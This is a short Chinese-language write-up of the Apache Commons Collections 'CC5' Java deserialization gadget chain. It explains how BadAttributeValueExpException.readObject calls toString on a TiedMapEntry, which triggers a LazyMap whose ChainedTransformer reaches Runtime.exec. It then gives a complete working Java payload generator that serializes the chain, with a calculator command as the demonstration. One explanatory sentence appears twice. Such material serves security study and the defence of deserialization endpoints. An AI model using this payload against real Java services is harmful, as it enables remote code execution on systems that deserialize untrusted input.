cc5和cc6差不多,主要都是利用TideMapEntry从而利用LazyMap调用get方法,而LazyMap的get方法需要的参数是LazyMap中没有的值才会触发LazyMap的transform的put方法。
TiedMapEntry
主要使用的是LazyMap的get方法,那么在这里我们可以看到其中getValue,hashCode,equals,toString都可以触发
那么下面我们需要寻找一个可以输入TideMapEntry这个类,并且可以触发这些函数之一的一个类。
BadAttributeValueExpException
看一下定义,直接看它的readObject方法,
反序列化读取 val,当 System.getSecurityManager() == null 或 valObj 是除了 String 的其他基础类型时会调用 valObj 的 toString() 方法,完成上面 TiedMapEntry 的构造。
反序列化读取 val,当 System.getSecurityManager() == null 或 valObj 是除了 String 的其他基础类型时会调用 valObj 的 toString() 方法,完成上面 TiedMapEntry 的构造。
那么我们的构造思路就是:先构造恶意的LazyMap,然后将LazyMap放入TideMapEntry,因为TideMapEntry不是String类型,那么就会调用toString方法
那么payload为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "zyer");
BadAttributeValueExpException exception = new BadAttributeValueExpException("zyer");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, entry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(exception);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
}